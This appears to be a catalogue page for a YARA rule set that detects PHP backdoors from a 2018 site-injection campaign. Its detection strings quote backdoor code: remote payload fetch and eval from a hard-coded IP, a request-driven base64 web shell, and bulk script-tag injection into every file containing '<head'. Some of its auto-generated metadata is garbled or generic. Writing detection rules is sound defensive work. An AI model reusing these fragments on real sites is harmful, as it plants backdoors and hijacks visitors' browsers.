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infected_10_29_18_backdoors_script2

YARA-2018-3718 High general Active

backdoors - file script2

infected_10_29_18_backdoors_script2.yar Valid Syntax 
/*
   Yara Rule Set
   Author: Brian Laskowski
   Date: 2018-10-28
   Identifier: backdoors
   Reference: https://github.com/Hestat/lw-yara/
   Reference2: https://blog.sucuri.net/2018/10/multiple-ways-to-inject-the-same-tech-support-scam-malware.html
*/

/* Rule Set ----------------------------------------------------------------- */

rule infected_10_29_18_backdoors_script2 {
   meta:
      description = "backdoors - file script2"
      author = "Brian Laskowski"
      reference = "https://github.com/Hestat/lw-yara/"
      date = "2018-10-28"
      hash1 = "6f6ce51207e0a3237cf04fbb0e1b4caa3ea2e78a95bbd1c17e12afa19b3ca2a3"
   strings:
      $s1 = "$c1 = \"http://190.97.167.206/p4.txt\"; $n2 = \"base64_decode\"; $b = \"hjghjerg\"; @file_put _contents($b,\"<?php \".$n2(@file_" ascii
      //$s2 = "tents($c1))); include($b);@unlink($b);@eval($n2(@file_get _contents($c1)));" fullword ascii
   condition:
      ( uint16(0) == 0x6324 and
         filesize < 1KB and
         ( all of them )
      ) or ( all of them )
}

rule infected_10_29_18_backdoors_script3 {
   meta:
      description = "backdoors - file script3"
      author = "Brian Laskowski"
      reference = "https://github.com/Hestat/lw-yara/"
      date = "2018-10-28"
      hash1 = "c0df9c932cf8d9f4aa097ed4d2990fa1415c1ff061b73c535274e8b75fa85017"
   strings:
      $s1 = "$l1 = '<script src=\"https://hotopponents.site/site.js?wtr=1\" type=\"text/javascript\" async></script>';" fullword ascii
      $s2 = "$a = 'find / -type f -name \"*\" | xargs grep -rl \"<head\"';" fullword ascii
      $s3 = "$t = shell_exec($a);" fullword ascii
      $s4 = "105, 116, 101, 47, 115, 105, 116, 101, 46, 106, 115, 63, 119, 116, 114, 61, 50); s0.parentNode.insertBefore(s1,s0); })();';" fullword ascii
      $s5 = "if (strpos($g, '104, 111, 116, 111, 112, 112, 111, 110, 101, 110') !== false || strpos($g, '0xfcc4') !== false) {" fullword ascii
      $s6 = "$g = file_get_contents($f);" fullword ascii
      $s7 = "$a = 'find / -type f -name \"*jquery*js\" | xargs grep -rl \"var\"';" fullword ascii
      $s8 = "$g = str_replace(\"</head>\",$l1.\"</head>\",$g);" fullword ascii
      $s9 = "$l32 = '(function(){ var s1=document.createElement(\"script\"),s0=document.getElementsByTagName(\"script\")[0]; s1.async=true; s" ascii
      $s10 = "$g = str_replace(\"<head>\",\"<head>\".$l1,$g);" fullword ascii
      $s11 = "if (strpos($g, '104, 111, 116, 111, 112, 112, 111, 110, 101, 110') !== false) {" fullword ascii
      $s12 = "if (strpos($g, 'hotopponents') !== false || strpos($g, '0xfcc4') !== false) {" fullword ascii
      $s13 = "echo \"1e:\".$f;" fullword ascii
      $s14 = "$l32 = '(function(){ var s1=document.createElement(\"script\"),s0=document.getElementsByTagName(\"script\")[0]; s1.async=true; s" ascii
      $s15 = "@file_put_contents($f,$g);" fullword ascii
      $s16 = "echo \"e:\".$f;" fullword ascii
   condition:
      ( uint16(0) == 0x6124 and
         filesize < 4KB and
         ( 8 of them )
      ) or ( all of them )
}

rule infected_10_29_18_backdoors_script1 {
   meta:
      description = "backdoors - file script1"
      author = "Brian Laskowski"
      reference = "https://github.com/Hestat/lw-yara/"
      date = "2018-10-28"
      hash1 = "032a86ba3060ecaa285e394913e1e1d36289db6cb56bc01c6cc116e5401daab3"
   strings:
      $s1 = "@file_put _contents('cleartemp','<?php '.base64_decode($_REQUEST['q'])); @include('cleartemp'); @unlink('cleartemp');" fullword ascii
   condition:
      ( uint16(0) == 0x6640 and
         filesize < 1KB and
         ( all of them )
      ) or ( all of them )
}

rule infected_10_29_18_backdoors_script4 {
   meta:
      description = "backdoors - file script4"
      author = "Brian Laskowski"
      reference = "https://github.com/Hestat/lw-yara/"
      date = "2018-10-28"
      hash1 = "6fabfa701da14a21835c61fb7fdbe4db3341528fbedadb696f2bd48c9569d21f"
   strings:
      $s1 = "eyB2YXIgczE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0IiksczA9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpWzBdOyBzMS5hc3lu" ascii /* base64 encoded string '{ var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0]; s1.asyn' */
      $s2 = "Yz10cnVlOyBzMS5zcmM9U3RyaW5nLmZyb21DaGFyQ29kZSgxMDQsIDExNiwgMTE2LCAxMTIsIDExNSwgNTgsIDQ3LCA0NywgMTA0LCAxMTEsIDExNiwgMTExLCAxMTIs" ascii /* base64 encoded string 'c=true; s1.src=String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 104, 111, 116, 111, 112,' */
      $s3 = "IDExMiwgMTExLCAxMTAsIDEwMSwgMTEwLCAxMTYsIDExNSwgNDYsIDExNSwgMTA1LCAxMTYsIDEwMSwgNDcsIDExNSwgMTA1LCAxMTYsIDEwMSwgNDYsIDEwNiwgMTE1" ascii /* base64 encoded string ' 112, 111, 110, 101, 110, 116, 115, 46, 115, 105, 116, 101, 47, 115, 105, 116, 101, 46, 106, 115' */
   condition:
      ( uint16(0) == 0x474a and
         filesize < 6KB and
         ( all of them )
      ) or ( all of them )
}

Rule Metadata

description
backdoors - file script2
author
Brian Laskowski
reference
https://github.com/Hestat/lw-yara/
date
2018-10-28
hash1
6f6ce51207e0a3237cf04fbb0e1b4caa3ea2e78a95bbd1c17e12afa19b3ca2a3

String Definitions

{"name":"$s1","value":"\""}
{"name":"$c1","value":"\\\"http:\/\/190.97.167.206\/p4.txt\\\";"}
{"name":"$n2","value":"\\\"base64_decode\\\";"}
{"name":"$b","value":"\\\"hjghjerg\\\"; @file_put _contents("}
{"name":"$s2","value":"\"tents("}

Threat Analysis

This YARA rule is designed to detect general threats.

Severity Level: High

The rule uses pattern matching to identify specific byte sequences, strings, or behavioral patterns associated with malicious activity.

Detection Capabilities

  • File-based detection for executables and documents
  • Memory scanning for running processes
  • Network traffic analysis support

Command Line Usage

# Scan a single file
yara infected_10_29_18_backdoors_script2.yar /path/to/suspicious/file

# Scan a directory recursively
yara -r infected_10_29_18_backdoors_script2.yar /path/to/directory/

# Scan with metadata output
yara -m infected_10_29_18_backdoors_script2.yar target_file

# Scan process memory (Linux)
yara infected_10_29_18_backdoors_script2.yar /proc/[pid]/exe

Integration Examples

Python (yara-python)

import yara
rules = yara.compile(filepath='infected_10_29_18_backdoors_script2.yar')
matches = rules.match('/path/to/file')

ClamAV Integration

clamscan --yara-rules=infected_10_29_18_backdoors_script2.yar /path/to/scan

Rule Information

YARA ID
YARA-2018-3718
Repository
Created
August 19, 2025
Last Updated
August 19, 2025
Last Imported
Never

Threat Intelligence

Risk Level High
Category general
Detection Confidence Analysis Pending
False Positive Rate Not Available
Last Seen in Wild No Data

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